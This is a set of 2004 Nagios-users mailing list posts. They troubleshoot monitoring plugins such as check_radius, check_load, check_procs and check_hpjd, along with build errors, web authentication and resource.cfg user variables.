by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk being > sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ZalafR at Leadingedgegroup.com.au Mon Mar 8 04:05:55 2004 From: ZalafR at Leadingedgegroup.com.au (Rabbie Zalaf) Date: Mon, 8 Mar 2004 14:05:55 +1100 Subject: check_radius Message-ID: <5237E8DD31703E4B8F18DE416229C8C0C2818D@legsydms01.leadingedgegroup.com.au> Hi All, This is my first post so my appologies if I state anything stupid. I wrote the following script and placed it into libexec. #!/bin/bash PREFIX=/usr/bin set `$PREFIX/radpwtst -trace 4 $USER1$/check_radius -s $1 -secret $2 -noacct -auth_port $3 -user $4 -password $5 -called_station_id $6 | tail -1` if [ $1 = OK ] ; then echo "OK" else echo "CRITICAL - No reply" fi Basically it sends a RADIUS authentication request to a radius server and will either come back with OK or No reply... I have tested the script and it works perfectly, but when I Integrate it with nagios, like this: define service{ use generic-service ; Name of service template to use host_name x.x.x.x service_description RADIUS is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups admins notification_interval 120 notification_period 24x7 notification_options u,c,r check_command check_radius!mysecret!1645!username!password!0198xxxxxx } My web interface in nagios shows a green light and says that everything is ok... even when the response is CRITICAL... How do I make nagios alarm when the script returns a CRITICAL error? Thanks in advance for any help you may offer. Rabbie Zalaf Network Consultant Leading Edge Internet 02 9497 4024 http://www.leadingedgeinternet.net.au -----BEGIN GEEK CODE BLOCK----- VERSION: 3.1 GIT d++ s:>s-:- a22 C++++ L U+++ P+ L+++>$L+++++ E--- W+++ w-- M-- t+++ G++ -----END GEEK CODE BLOCK----- This document together with any attachments is confidential and is intended for the named recipient only. It can not be copied, disclosed, passed on or duplicated in any way shape or form, without the prior permission of the author. If you are not the intended recipient please contact the author immediately and destroy the message. All parties acknowledge that any breach of confidence or disclosures made by any party, (including their employees, agents and contracted service providers such as solicitors, accountants, auditors and others), which may result in a commercial loss to Leading Edge Group, may result in Leading Edge Group exercising such rights as are available to them in connection with that loss. -------------- next part -------------- An HTML attachment was scrubbed... URL: From simon at ecnetwork.co.nz Mon Mar 8 04:18:08 2004 From: simon at ecnetwork.co.nz (Simon Kitching) Date: Mon, 08 Mar 2004 16:18:08 +1300 Subject: check_radius In-Reply-To: <5237E8DD31703E4B8F18DE416229C8C0C2818D@legsydms01.leadingedgegroup.com.au> References: <5237E8DD31703E4B8F18DE416229C8C0C2818D@legsydms01.leadingedgegroup.com.au> Message-ID: <1078715887.627.207.camel@pcsimon> On Mon, 2004-03-08 at 16:05, Rabbie Zalaf wrote: > Hi All, > > This is my first post so my appologies if I state anything stupid. > > I wrote the following script and placed it into libexec. > > #!/bin/bash > PREFIX=/usr/bin > > set `$PREFIX/radpwtst -trace 4 $USER1$/check_radius -s $1 -secret $2 > -noacct -auth_port $3 -user $4 -password $5 -called_station_id $6 | > tail -1` > > if [ $1 = OK ] ; then > echo "OK" > else > echo "CRITICAL - No reply" > fi > My web interface in nagios shows a green light and says that > everything is ok... even when the response is CRITICAL... > > How do I make nagios alarm when the script returns a CRITICAL error? Nagios inspects the exit status of its commands. 0 ==> ok 1 ==> warn 2 ==> error (aka critical) 3 ==> unknown So change your script to: if [ $1 = OK ] ; then echo "OK" exit 0 else echo "oops - no reply" exit 2 fi Regards, Simon ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Stanley.Hopcroft at IPAustralia.Gov.AU Mon Mar 8 05:43:20 2004 From: Stanley.Hopcroft at IPAustralia.Gov.AU (Stanley Hopcroft) Date: Mon, 8 Mar 2004 15:43:20 +1100 Subject: check_radius In-Reply-To: <200403080414.i284EYCr015395@flora.securenet.com.au>; from nagios-users-request@lists.sourceforge.net on Sun, Mar 07, 2004 at 08:02:56PM -0800 References: <200403080414.i284EYCr015395@flora.securenet.com.au> Message-ID: <20040308154316.H73882@IPAustralia.Gov.AU> Dear Ladies and Gentlemen, I am writing to thank you for your letter and say, On Sun, Mar 07, 2004 at 08:02:56PM -0800, nagios-users-request at lists.sourceforge.net wrote: > > Nagios inspects the exit status of its commands. > 0 ==> ok > 1 ==> warn > 2 ==> error (aka critical) > 3 ==> unknown > > So change your script to: > if [ $1 = OK ] ; then > echo "OK" > exit 0 > else > echo "oops - no reply" > exit 2 > fi > or source utils.sh (in the plugin-scripts dir of the plugins distro) so that you can say if [ $1 = $STATE_OK ] ; then echo | printf "OK" exit $STATE_OK else echo | printf foo exit $STATE_CRITICAL fi The moral of the story is that the plugin developers want to maximise reuse and minimise code duplication by factoring out common definitions (common constants such as return code values; default timeouts etc) for plugin authors to take advantage of (the Perl equivalent is utils.pm). Anyone writing their own plugins should have a look at the source of the standard plugins. > Regards, > > Simon > Yours sincerely. -- ------------------------------------------------------------------------ Stanley Hopcroft ------------------------------------------------------------------------ '...No man is an island, entire of itself; every man is a piece of the continent, a part of the main. If a clod be washed away by the sea, Europe is the less, as well as if a promontory were, as well as if a manor of thy friend's or of thine own were. Any man's death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee...' from Meditation 17, J Donne. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ZalafR at Leadingedgegroup.com.au Mon Mar 8 06:13:14 2004 From: ZalafR at Leadingedgegroup.com.au (Rabbie Zalaf) Date: Mon, 8 Mar 2004 16:13:14 +1100 Subject: check_radius Message-ID: <5237E8DD31703E4B8F18DE416229C8C0C28190@legsydms01.leadingedgegroup.com.au> Sorry guy's, I just write crap code cause I'm not a programmer.. I just learn as I go. Thanks for the advice. Rabbie. -----Original Message----- From: Stanley Hopcroft [mailto:Stanley.Hopcroft at IPAustralia.Gov.AU] Sent: Monday, March 08, 2004 3:43 PM To: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] check_radius Dear Ladies and Gentlemen, I am writing to thank you for your letter and say, On Sun, Mar 07, 2004 at 08:02:56PM -0800, nagios-users-request at lists.sourceforge.net wrote: > > Nagios inspects the exit status of its commands. > 0 ==> ok > 1 ==> warn > 2 ==> error (aka critical) > 3 ==> unknown > > So change your script to: > if [ $1 = OK ] ; then > echo "OK" > exit 0 > else > echo "oops - no reply" > exit 2 > fi > or source utils.sh (in the plugin-scripts dir of the plugins distro) so that you can say if [ $1 = $STATE_OK ] ; then echo | printf "OK" exit $STATE_OK else echo | printf foo exit $STATE_CRITICAL fi The moral of the story is that the plugin developers want to maximise reuse and minimise code duplication by factoring out common definitions (common constants such as return code values; default timeouts etc) for plugin authors to take advantage of (the Perl equivalent is utils.pm). Anyone writing their own plugins should have a look at the source of the standard plugins. > Regards, > > Simon > Yours sincerely. -- ------------------------------------------------------------------------ Stanley Hopcroft ------------------------------------------------------------------------ '...No man is an island, entire of itself; every man is a piece of the continent, a part of the main. If a clod be washed away by the sea, Europe is the less, as well as if a promontory were, as well as if a manor of thy friend's or of thine own were. Any man's death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee...' from Meditation 17, J Donne. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From chris1 at psyctc.org Mon Mar 8 10:44:23 2004 From: chris1 at psyctc.org (Chris Evans) Date: Mon, 08 Mar 2004 09:44:23 -0000 Subject: check_load and Warning threshold must be float or float triplet! Message-ID: <404C4077.18331.EE71B75@localhost> Brilliant product which I'd read about but hadn't tried before: superb: thanks. One problem, perhaps because I'm being stupid: I have installed nagios 1.2 onto two machines running Debian stable and downloaded and installed the 1.3.0 plugins on the same machines. On one machine, check_load at first complained: Warning threshold must be float or float triplet! but I tweaked both triplets to 4.00,3.00,2.00 and it ran fine once but is now complaining again. On the second machine I have the same. When I run in a console session as user www-data it works: ./check_load -w 5.00,4.00,3.00 -c 6.00,5.00,4.00 OK - load average: 2.18, 2.38, 2.09 So how is that different from entry I have in that machine's /etc/nagios/services.cfg: define service{ use generic-service ; Name of service template to use host_name www service_description Load on www is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 2 contact_groups linux-admins notification_interval 240 notification_period 24x7 notification_options w,u,c,r check_command check_load!w=5.00,4.00,3.00!c=6.00,5.00,4.00 } I have searched the archives but couldn't see this one in this form. Any suggestions? TIA, Chris PSYCTC: Psychotherapy, Psychology, Psychiatry, Counselling and Therapeutic Communities; practice, research, teaching and consultancy. Chris Evans & Jo-anne Carlyle http://psyctc.org/ Email: chris at psyctc.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Vincenzo.Barbieri at netengineering.it Mon Mar 8 11:15:30 2004 From: Vincenzo.Barbieri at netengineering.it (Barbieri Vincenzo) Date: Mon, 8 Mar 2004 11:15:30 +0100 Subject: problem nawui Message-ID: hey guys, I have the problem with setup the nawui . Any help will be grealy appreciated thanks enzo From Ton.Voon at egg.com Mon Mar 8 11:20:37 2004 From: Ton.Voon at egg.com (Voon, Ton) Date: Mon, 8 Mar 2004 10:20:37 -0000 Subject: SOLVED - check_procs really broken FreeBSD 5.2 .1-RELEASE/AMD64 Message-ID: Jason, Thanks for this solution. The configure script looks firstly for ps -axwo (for OpenBSD), then ps -weo. It must be failing ps -axwo on your FreeBSD system and then finding ps -weo. Unfortunately, this is a really complicated area to fix generally as ps syntaxes are slightly different between OSes, and a fix for one OS can break other systems. Can you provide a head -5 of /bin/ps -axweo? Ton -----Original Message----- From: Jason Lixfeld [mailto:jason+lists.nagios at lixfeld.ca] Sent: Thursday, March 04, 2004 7:47 PM To: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] SOLVED - check_procs really broken FreeBSD 5.2.1-RELEASE/AMD64 for FreeBSD, search the plugin source config.h for /bin/ps -weo and change to /bin/ps -axweo ; make clean ; make ; make install. fixed. Thanks to all who helped. On Mar 4, 2004, at 2:15 PM, Jason Lixfeld wrote: > FreeBSD spam.kill.er 5.2.1-RELEASE FreeBSD 5.2.1-RELEASE #22: Wed Feb > 25 16:23:46 EST 2004 > jlixfeld at spam.kill.er:/usr/obj/usr/src/sys/ESHARA amd64 > > Anyone have any info on check_procs? it's really busted, either that > or I'm completely misreading the documentation. Ethan? > > su-2.05b# /usr/local/libexec/nagios/check_procs -u nagios > OK - 0 processes running with UID = 1005 (nagios) > su-2.05b# ps -aux | grep ^nagios > nagios 20138 0.0 0.5 10200 2408 ?? Ss 1:54PM 0:00.11 > /usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg > su-2.05b# /usr/local/libexec/nagios/check_procs -C nagios > OK - 0 processes running with command name nagios > su-2.05b# > > what's going on here? > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which is authorised and regulated by the Financial Services Authority. Egg Investments Ltd. is entered in the FSA register under number 190518. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefano.razzauti at yogitech.com Mon Mar 8 12:24:16 2004 From: stefano.razzauti at yogitech.com (stefano razzauti) Date: Mon, 08 Mar 2004 12:24:16 +0100 Subject: problem building nagios Message-ID: <404C57E0.1050402@yogitech.com> Hi, I'm trying to build and install nagios 1.2 on my server with Debian GNU/Linux 3.0 r2. The server is a Sun Sparc Ultra 2. The "configure" process goes well but when I try to build the nagios source I obtain the following messages: gcc -g -O2 -DHAVE_CONFIG_H -DNSCGI statusmap.c getcgi.o cgiutils.o auth.o popen.o ../common/objects.c ../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddefault.c -lgd -lz -lm -lpng -ljpeg edata.o ../xdata/xedtemplate.c -o statusmap.cgi /tmp/cclljeTB.o: In function `load_image_from_file': /tmp/nagios-1.2/cgi/statusmap.c:2224: undefined reference to `gdImageCreateFromJpeg' collect2: ld returned 1 exit status make[1]: *** [statusmap.cgi] Error 1 make[1]: Leaving directory `/tmp/nagios-1.2/cgi' make: *** [all] Error 2 what could be the cause of this error? Thank you in advance stefano ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From markus at markus.org Mon Mar 8 14:22:29 2004 From: markus at markus.org (Markus Baertschi) Date: Mon, 08 Mar 2004 14:22:29 +0100 Subject: How to debug plugin getting into UNKNOWN state Message-ID: <404C7395.7080606@markus.org> I've developed a plugin (written in perl) checking the state of an oracle database (calculating remaining space in tablespaces). So far it did work fine on the command line and within nagios. Since some time now it fails and displays the state UNKNOWN. Restarting nagios sometimes helps and sometimes doesn't. Here the email I get from nagios about this: Markus ***** Nagios ***** Notification Type: PROBLEM Service: Oracle Tablespaces Host: HR4U Server Address: 172.25.40.1 State: UNKNOWN Date/Time: Mon Mar 8 13:05:04 TZ=CET 2004 Additional Info: (No output!) . -- Markus Baertschi Phone: ++41 (21) 807 1677 Bas du Ross? 14b Fax : ++41 (21) 807 1678 CH-1163, Etoy Email: markus at markus.org Switzerland Homepage: www.markus.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Mon Mar 8 14:45:48 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Mon, 8 Mar 2004 08:45:48 -0500 Subject: check_hpjd plugin returns a no response error message Message-ID: <5593DA408212D511B0910002A513501F06559232@phsexch20.mgh.harvard.edu> Hi there -- I am running tests on check_hpjd, and the error message I receive is: Timeout: No Response I verified that I have net-snmp installed on the Nagios server, and the printers in question do have a JetDirect card installed in them, and are on the same subnet as the server. What else should I look for in troubleshooting this problem? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 8 15:04:11 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 08 Mar 2004 14:04:11 +0000 Subject: How to debug plugin getting into UNKNOWN state In-Reply-To: <404C7395.7080606@markus.org> References: <404C7395.7080606@markus.org> Message-ID: <20040308140411.24952.qmail@minnow.softflare.net> Markus Baertschi writes: > So far it did work fine on the command line and within nagios. Since > some time now it fails and displays the state UNKNOWN. Restarting > nagios sometimes helps and sometimes doesn't. It's almost certainly a problem with your plugin if only your plugin exhibits this behaviour. Possibly a timeout connecing to the database, but could be almost anything. Note that restarting Nagios using the restart option often leaves stray Nagios processes hanging around. This can cause stale statuses to occasionally be displayed and lead to confusion. > ***** Nagios ***** > > Notification Type: PROBLEM > > Service: Oracle Tablespaces > Host: HR4U Server > Address: 172.25.40.1 > State: UNKNOWN > > Date/Time: Mon Mar 8 13:05:04 TZ=CET 2004 > > Additional Info: > > (No output!) Given that it is probably a defect in your plugin, it's hard to say what the problem might be without seeing it. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Mon Mar 8 15:34:34 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Mon, 8 Mar 2004 09:34:34 -0500 Subject: Authentication question Message-ID: I had the .htaccess file in the ./share directory, but not ./sbin. I found the documentation for this to be somewhat circular, but I did eventually find it. Thanks! Perhaps someday I can help by offering some sort of new docs for that....right after I mow the lawn, fence the yard, wash the cars, etc. ;) Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 > -----Original Message----- > From: Matt Pounsett [mailto:matt.pounsett at cira.ca] > Sent: Friday, March 05, 2004 11:39 AM > To: Robert Nelson > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Authentication question > > > On Thu, 4 Mar 2004, Robert Nelson wrote: > > > Okay, running into another problem. Using Apache2 with > Nagios v1.2 on Red > > Hat 8.0. I have it set to do authentication (.htaccess as well as > > use_authentication=1), have my users created. If I use an > invalid login, it > > locks me out. If I use a valid login, however, it only > lets me log in as the > > "default" user. I.e. if the default user is "windchannel" > and I log on as > > myself, "rob", it shows "Logged in as windchannel" > > You don't mention your .htaccess file. Is it installed in > the sbin directory? > > -- > Matt Pounsett CIRA - Canadian Internet > Registration Authority > Technical Support Programmer 350 Sparks > Street, Suite 1110 > matt.pounsett at cira.ca > Ottawa, Ontario, Canada > 613.237.5335 ext. 231 > http://www.cira.ca > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and > OS when reporting any issue. > ::: Messages without supporting info will risk being sent to > /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Michael.Huettig at Medien-Systempartner.de Mon Mar 8 16:00:18 2004 From: Michael.Huettig at Medien-Systempartner.de (Michael Huettig) Date: Mon, 8 Mar 2004 16:00:18 +0100 Subject: check_hpjd plugin returns a no response error message In-Reply-To: <5593DA408212D511B0910002A513501F06559232@phsexch20.mgh.harvard.edu> References: <5593DA408212D511B0910002A513501F06559232@phsexch20.mgh.harvard.edu> Message-ID: <200403081600.18351.Michael.Huettig@Medien-Systempartner.de> Hi, have you tried the following: check_hpjd -H -C from command-line? Std.-Community is "public". You may start: snmpwalk and receive some output like the following: system.sysDescr.0 = HP ETHERNET MULTI-ENVIRONMENT,ROM A.05.03,JETDIRECT,JD24,EEPROM A.05.05 system.sysObjectID.0 = OID: enterprises.11.2.3.9.1 system.sysUpTime.0 = Timeticks: (4326768) 12:01:07.68 system.sysContact.0 = system.sysName.0 = system.sysLocation.0 = system.sysServices.0 = 64 interfaces.ifNumber.0 = 1 interfaces.ifTable.ifEntry.ifIndex.1 = 1 interfaces.ifTable.ifEntry.ifDescr.1 = HP ETHERNET MULTI-ENVIRONMENT,ROM A.05.03,JETDIRECT,JD24,EEPROM A.05.05 interfaces.ifTable.ifEntry.ifType.1 = ethernetCsmacd(6) Regards Michael Am Montag, 8. M?rz 2004 14:45 schrieb Kaplan, Andrew H.: > Hi there -- > > I am running tests on check_hpjd, and the error message I receive is: > Timeout: No Response > > I verified that I have net-snmp installed on the Nagios server, and the > printers in question do have > a JetDirect card installed in them, and are on the same subnet as the > server. What else should I > look for in troubleshooting this problem? > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > ::: reporting any issue. Messages without supporting info will risk being > ::: sent to /dev/null ********************************************************************** Diese E-Mail wurde auf Viren ueberprueft. www.mimesweeper.com ********************************************************************** ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Mon Mar 8 16:07:21 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Mon, 8 Mar 2004 10:07:21 -0500 Subject: check_hpjd plugin returns a no response error message Message-ID: <5593DA408212D511B0910002A513501F06559234@phsexch20.mgh.harvard.edu> Hi there, When I ran the check_hpjd command, I got the Timeout: No response from FYI: I ran the command using the ip address of the host. I also tried the snmpwalk command, and got the snmpwalk: Timeout error as well... -----Original Message----- From: Michael Huettig [mailto:Michael.Huettig at Medien-Systempartner.de] Sent: Monday, March 08, 2004 10:00 AM To: Kaplan, Andrew H.; nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] check_hpjd plugin returns a no response error message Hi, have you tried the following: check_hpjd -H -C from command-line? Std.-Community is "public". You may start: snmpwalk and receive some output like the following: system.sysDescr.0 = HP ETHERNET MULTI-ENVIRONMENT,ROM A.05.03,JETDIRECT,JD24,EEPROM A.05.05 system.sysObjectID.0 = OID: enterprises.11.2.3.9.1 system.sysUpTime.0 = Timeticks: (4326768) 12:01:07.68 system.sysContact.0 = system.sysName.0 = system.sysLocation.0 = system.sysServices.0 = 64 interfaces.ifNumber.0 = 1 interfaces.ifTable.ifEntry.ifIndex.1 = 1 interfaces.ifTable.ifEntry.ifDescr.1 = HP ETHERNET MULTI-ENVIRONMENT,ROM A.05.03,JETDIRECT,JD24,EEPROM A.05.05 interfaces.ifTable.ifEntry.ifType.1 = ethernetCsmacd(6) Regards Michael Am Montag, 8. M?rz 2004 14:45 schrieb Kaplan, Andrew H.: > Hi there -- > > I am running tests on check_hpjd, and the error message I receive is: > Timeout: No Response > > I verified that I have net-snmp installed on the Nagios server, and the > printers in question do have > a JetDirect card installed in them, and are on the same subnet as the > server. What else should I > look for in troubleshooting this problem? > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > ::: reporting any issue. Messages without supporting info will risk being > ::: sent to /dev/null ********************************************************************** Diese E-Mail wurde auf Viren ueberprueft. www.mimesweeper.com ********************************************************************** ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From meck at chilitech.net Mon Mar 8 16:20:10 2004 From: meck at chilitech.net (Michael Eck) Date: Mon, 8 Mar 2004 10:20:10 -0500 Subject: resource.cfg user variable problem Message-ID: <16EE0D10-7114-11D8-A8E0-000A95D9C698@chilitech.net> Greetings. I'm using Nagios 1.1 on a Debian woody (stable) Linux box monitoring 548 services on 132 hosts. I'm trying to use $USERx$ variables for snmp community strings in my services.cfg file but having no luck. My check returns status UNKNOWN - SNMP problem - No data received from host. This seems like appropriate behavior for a wrong/missing community string. I have my resource.cfg defined in nagios.cfg: resource_file=/home/nagios/etc/resource.cfg I have my community string defined in my resource.cfg: $USER6$=mystring (with non-alpha-numeric characters) And my service check command: define service{ use uptime check_command check_uptime!$USER6$ host_name faste_on_router } ...as defined in checkcommands.cfg # 'check_uptime' snmp check command definition # $ARG1 = snmp-community-string define command{ command_name check_uptime command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o system.sysUpTime. 0 -C $ARG1$ } If I run it from the command line replacing the $USER6$ variable with the actual community string it works. I have two suspicions. First - $USER2$-$USER5$ are not defined. Does nagios care? Second, the community string in question end with an exclamation point (!). could this perhaps be fudging something in the check_command because nagios is seeing the ! as a delimiter? This doesn't seem to be the case. After a little bit of playing around I set $USER4$=public in my resources.cfg file and changed the check_uptime command definition for those hosts that use 'public' as their ro community string. The same check_uptime fails with that community string as a variable. 